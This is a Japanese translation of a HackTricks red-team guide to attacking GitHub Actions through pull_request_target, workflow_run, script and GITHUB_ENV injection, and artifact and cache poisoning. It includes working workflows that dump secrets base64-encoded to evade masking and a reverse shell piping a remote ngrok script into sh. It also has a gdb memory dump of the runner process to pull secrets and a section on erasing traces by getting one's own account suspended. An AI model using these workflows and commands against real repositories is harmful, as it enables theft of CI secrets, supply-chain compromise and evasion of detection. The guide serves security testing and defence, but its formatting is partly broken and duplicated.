Abusing Github Actions

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

  • HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!

  • The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける

  • Discordグループ参加💬(https://discord.gg/hRep4RUj7f)またはtelegramグループに参加するか、Twitter🐦でフォローする@hacktricks_live

  • HackTricks(https://github.com/carlospolop/hacktricks)とHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。

基本情報

このページでは以下が見つかります:

  • 攻撃者がGithub Actionにアクセスできる場合のすべての影響の要約

  • アクションにアクセスするための異なる方法:

    • アクションを作成する権限を持っている

    • プルリクエスト関連のトリガーを悪用する

    • 他の外部アクセス技術を悪用する

    • すでに侵害されたリポジトリからピボットする

  • 最後に、アクションを悪用するためのポストエクスプロイテーション技術についてのセクション(上記の影響を引き起こす)

影響の要約

Github Actionsの基本情報をチェックして、導入について学びます。

リポジトリで任意のGithubアクションを実行/コードをインジェクトできる場合、次のことができるかもしれません:

  • そのリポジトリ/組織からシークレットを盗む

  • インジェクトのみが可能な場合、ワークフローにすでに存在するものを盗むことができます。

  • AWSやGCPなど他のプラットフォームにアクセスするためにリポジトリの権限を悪用する

  • カスタムワーカーでコードを実行し、そこからピボットを試みる

  • リポジトリのコードを上書きする

  • これはGITHUB_TOKENの権限に依存します(あれば)

  • デプロイメントや他のアーティファクト侵害する

  • コードが何かをデプロイしたり保存している場合、それを変更してさらなるアクセスを取得できます。

GITHUB_TOKEN

この「シークレット」(${{ secrets.GITHUB_TOKEN }}および${{ github.token }}から来ます)は、管理者がこのオプションを有効にしたときに与えられます:

このトークンはGithubアプリケーションが使用するものと同じなので、同じエンドポイントにアクセスできます:https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Githubは、リポジトリがGITHUB_TOKENを使用して他の内部リポジトリにアクセスできるようにするフローをリリースすべきです。

このトークンの可能な権限は次の場所で確認できます:https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

このトークンは、ジョブが完了した後に期限切れになります。 これらのトークンは次のように見えます:ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

このトークンでできる興味深いこと:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

複数の場合には、Github Actions envs内またはシークレット内にgithubユーザートークンを見つけることができることに注意してください。これらのトークンは、リポジトリや組織に対するより多くの特権を与える可能性があります。

Github Actionの出力でシークレットをリスト表示

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

シークレットを使用してリバースシェルを取得する

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

他のユーザーのリポジトリでGithubトークンに与えられた権限をチェックすることが可能です。アクションのログをチェックすることで:

許可された実行

これはGithubアクションを妨害する最も簡単な方法であり、この場合は組織内で新しいリポジトリを作成する権限があるか、リポジトリに書き込み権限があると仮定しています。

このシナリオにいる場合は、ポストエクスプロイテーションテクニックをチェックするだけで済みます。

リポジトリ作成からの実行

組織のメンバーが新しいリポジトリを作成でき、Githubアクションを実行できる場合、新しいリポジトリを作成し、組織レベルで設定されたシークレットを盗むことができます。

新しいブランチからの実行

すでにGithubアクションが構成されているリポジトリに新しいブランチを作成できる場合、それを変更し、コンテンツをアップロードしてから、新しいブランチからそのアクションを実行することができます。これにより、リポジトリおよび組織レベルのシークレットを外部に送信することができます(ただし、それらがどのように呼ばれるかを知っている必要があります)。

変更されたアクションを手動で実行したり、PRが作成されたときやコードがプッシュされたときに実行したりすることができます(どれくらい騒々しいかによります)。

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

フォークされた実行

攻撃者が他のリポジトリのGithubアクションを実行することを可能にするさまざまなトリガーがあります。これらのトリガー可能なアクションが適切に構成されていない場合、攻撃者はそれらを妨害できるかもしれません。

pull_request

ワークフロートリガー**pull_requestは、プルリクエストが受信されるたびにワークフローを実行しますが、いくつかの例外があります:デフォルトでは、初めて協力する場合、メンテナーがワークフローの実行を承認**する必要があります:

デフォルトの制限初めての貢献者向けですので、有効なバグ/タイポを修正してから新しいpull_request権限を悪用するために他のPRを送信できます。

これをテストしましたが機能しません: 別のオプションとして、プロジェクトに貢献した人の名前でアカウントを作成し、そのアカウントを削除することが考えられます。

さらに、デフォルトでは、ドキュメントで言及されているように、書き込み権限シークレットアクセスが対象リポジトリに対してデフォルトで防止されます:

GITHUB_TOKENを除いて、シークレットはフォークされたリポジトリからのプルリクエストでワークフローがトリガーされたときにランナーに渡されませんGITHUB_TOKENは、フォークされたリポジトリからのプルリクエストで読み取り専用権限**を持ちます。

攻撃者はGithubアクションの定義を変更して任意のことを実行し、任意のアクションを追加することができます。ただし、上記の制限のため、シークレットを盗むことやリポジトリを上書きすることはできません。

はい、攻撃者がPRでトリガーされるgithubアクションを変更すると、彼のGithubアクションが使用され、元のリポジトリのものは使用されません!

攻撃者は実行されるコードも制御しているため、GITHUB_TOKENにシークレットや書き込み権限がなくても、例えば悪意のあるアーティファクトをアップロードすることができます。

pull_request_target

ワークフロートリガー**pull_request_targetは、対象リポジトリに書き込み権限シークレットへのアクセス**(許可を求めない)を持っています。

ワークフロートリガー**pull_request_targetベースコンテキスト**で実行され、PRで与えられたコンテキストではないことに注意してください(信頼できないコードを実行しない)。pull_request_targetについての詳細は、ドキュメントを参照してください。 さらに、この特定の危険な使用についての詳細については、このgithubブログ記事をチェックしてください。

実行されるワークフローベースで定義されており、PRではないため、pull_request_targetを使用するのは安全であるように見えるかもしれませんが、そうでない場合もあります

そして、これにはシークレットへのアクセスがあります。

workflow_run

workflow_runトリガーは、completedrequested、またはin_progressのときに別のワークフローを実行することを可能にします。

この例では、別々の"Run Tests"ワークフローが完了した後にワークフローが実行されるように構成されています:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

さらに、ドキュメントによると、workflow_run イベントによって開始されたワークフローは、前のワークフローがなくてもシークレットにアクセスし、トークンを書き込むことができる

この種のワークフローは、pull_request または pull_request_target を介して外部ユーザーによってトリガーされる可能性がある ワークフロー に依存している場合、攻撃される可能性があります。脆弱な例は、このブログ で見つけることができます。最初の例は、workflow_run がトリガーされたワークフローが攻撃者のコードをダウンロードすることです: ${{ github.event.pull_request.head.sha }} 2番目の例は、信頼できないコードから workflow_run ワークフローに アーティファクト を渡し、このアーティファクトの内容を使用して RCE に脆弱 にする方法です。

workflow_call

TODO

TODO: 実行時に pull_request から使用/ダウンロードされたコードが、元のものかフォークされた PR のものかを確認する

フォークされた実行の悪用

外部攻撃者が GitHub ワークフローを実行する方法についてすべて説明しましたが、今度は、これらの実行が誤って構成されている場合にどのように悪用される可能性があるかを見てみましょう:

信頼できないチェックアウト実行

pull_request の場合、ワークフローは PR のコンテキストで実行 されます(つまり、悪意のある PR のコード が実行されます)、ただし、最初に 承認する必要があり、いくつかの制限で実行されます。

pull_request_target または workflow_run を使用するワークフローが、pull_request_target または pull_request からトリガーされるワークフローに依存している場合、元のリポジトリのコードが実行されるため、攻撃者は実行されるコードを制御できません

ただし、アクション明示的な PR チェックアウト がある場合、PR のコードが取得され(ベースではなく)、攻撃者が制御するコードが使用されます。例えば(PR コードがダウンロードされる行 12 を確認してください):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

潜在的に 信頼できないコードが npm install または npm build の実行時に実行 されるため、ビルドスクリプトと参照される パッケージは PR の著者によって制御 されます。

脆弱なアクションを検索するための GitHub ドークは、event.pull_request pull_request_target extension:yml ですが、アクションが不適切に構成されていても、ジョブを安全に実行するさまざまな方法があります(PR を生成するアクターに関する条件分岐を使用するなど)。

コンテキストスクリプトインジェクション

特定のGitHub コンテキストの値が PR を作成するユーザーによって制御 されることに注意してください。GitHub アクションがそのデータを使用して何かを実行している場合、任意のコードの実行につながる 可能性があります:

pageGh Actions - Context Script Injections

GITHUB_ENV スクリプトインジェクション

ドキュメントによると、GITHUB_ENV 環境ファイルに環境変数を定義または更新して、ワークフロージョブの後続のステップでその環境変数を利用できるようにすることができます。

攻撃者がこの env 変数に任意の値を インジェクト できれば、後続のステップでコードを実行するための環境変数をインジェクトできるため、LD_PRELOADNODE_OPTIONS などの環境変数をインジェクトできます。

例えば(こちら および こちら)、アップロードされたアーティファクトを信頼してその内容を GITHUB_ENV 環境変数に格納するワークフローを想像してください。攻撃者は、これを妨害するために次のようなものをアップロードできます:

脆弱なサードパーティ GitHub アクション

このブログ記事 で述べられているように、この GitHub アクションを使用すると、異なるワークフローやリポジトリからアーティファクトにアクセスできます。

問題は、path パラメータが設定されていない場合、アーティファクトが現在のディレクトリに展開され、後で使用されるか、ワークフローで実行される可能性があるファイルを上書きできることです。したがって、アーティファクトが脆弱な場合、攻撃者はこれを悪用して、アーティファクトを信頼する他のワークフローを妨害できます。

脆弱なワークフローの例:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

これは次のワークフローで攻撃される可能性があります:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

その他の外部アクセス

削除されたネームスペースリポジトリの乗っ取り

アカウントが名前を変更すると、しばらくしてから別のユーザーがその名前でアカウントを登録することができます。リポジトリが名前を変更する前に100個未満のスターがついていた場合、Githubは同じ名前のリポジトリを作成することができるようになります。

したがって、アクションが存在しないアカウントからリポジトリを使用している場合、攻撃者がそのアカウントを作成し、アクションを妨害する可能性があります。

他のリポジトリがこのユーザーリポジトリからの依存関係を使用している場合、攻撃者はそれらを乗っ取ることができます。詳細な説明はこちらを参照してください: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


リポジトリのピボット

このセクションでは、最初のリポジトリに何らかのアクセス権があると仮定して、1つのリポジトリから別のリポジトリにピボットする技術について説明します(前のセクションを参照)。

キャッシュの汚染

同じブランチでのワークフロー実行間にはキャッシュが維持されます。つまり、攻撃者がキャッシュに保存され、より特権のあるワークフローによってダウンロードおよび実行されるパッケージ妨害すると、そのワークフローも妨害される可能性があります。

pageGH Actions - Cache Poisoning

アーティファクトの汚染

ワークフローは他のワークフローおよびリポジトリからアーティファクトを使用することができます。攻撃者が後で別のワークフローで使用されるアーティファクトをアップロードするGithubアクションを妨害すると、他のワークフローも妨害される可能性があります。

pageGh Actions - Artifact Poisoning

アクションからのポストエクスプロイテーション

OIDCを介したAWSおよびGCPへのアクセス

以下のページを確認してください:

pageAWS - Federation AbusepageGCP - Federation Abuse

シークレットへのアクセス

スクリプトにコンテンツを注入している場合、シークレットにアクセスする方法を知っておくと便利です:

  • シークレットまたはトークンが環境変数に設定されている場合、**printenv**を使用して環境を介して直接アクセスできます。

Githubアクションの出力でシークレットをリスト表示

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>シークレットを使用してリバースシェルを取得する</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.

cat /home/runner/work/_temp/*

* For a JavaScript actions the secrets and sent through environment variables
* ```bash
ps axe | grep node
  • For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Self-hosted runnersの悪用

Githubインフラ以外で実行されているGithub Actionsを見つける方法は、Github Actionの構成yamlで**runs-on: self-hosted**を検索することです。

Self-hostedランナーは、追加の機密情報、他のネットワークシステム(ネットワーク内の脆弱なエンドポイント?メタデータサービス?)へのアクセス権を持っている可能性があります。また、孤立して破棄されていても複数のアクションが同時に実行される可能性があり、悪意のあるアクションが他のアクションのシークレットを盗むことができます。

Self-hostedランナーでは、メモリをダンプすることで、_Runner.Listenerプロセスからシークレットを取得することも可能です:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

詳細については、この投稿をチェックしてください

Github Docker Images Registry

Github内にDockerイメージをビルドして保存するGithubアクションを作成することが可能です。 以下に例を示します。

[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

前のコードでわかるように、Githubレジストリは**ghcr.io**にホストされています。

リポジトリに読み取り権限を持つユーザーは、パーソナルアクセス トークンを使用してDockerイメージをダウンロードできます:

echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

ユーザーは、Dockerイメージのレイヤー内で漏洩したシークレットを検索できます:

Github Actionsログ内の機密情報

Githubはアクションログ内のシークレット値を検出しようとして非表示にするが、アクションの実行中に生成された他の機密データは非表示にされません。たとえば、シークレット値で署名されたJWTは、特に設定されていない限り非表示にされません。

足跡を隠す

(こちらの技術)まず、公開されたGithubと対象のGitHubアカウントでPRが明確に表示されます。GitHubではデフォルトで、インターネット上のPRを削除することはできませんが、ひとつ裏技があります。GitHubによって停止されたGitHubアカウントの場合、すべてのPRが自動的に削除され、インターネットから削除されます。したがって、活動を隠すためには、GitHubアカウントを停止させるか、アカウントをフラグ付きにする必要があります。これにより、GitHub上のすべての活動がインターネットから非表示になります(基本的にすべての悪用PRを削除します)。

GitHubの組織は、GitHubにアカウントを報告することに非常に積極的です。Issueで「何か」を共有するだけで、12時間以内にアカウントが停止されるようになります:p そしてそこで、GitHub上のあなたの悪用が見えなくなります。

組織が標的にされたことに気づく唯一の方法は、GitHub UIからPRが削除されるため、SIEMからGitHubログを確認することです。

ツール

以下のツールは、Github Actionワークフローを見つけたり、脆弱なものを見つけたりするのに役立ちます:

**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ こちら

HackTricksをサポートする他の方法:

最終更新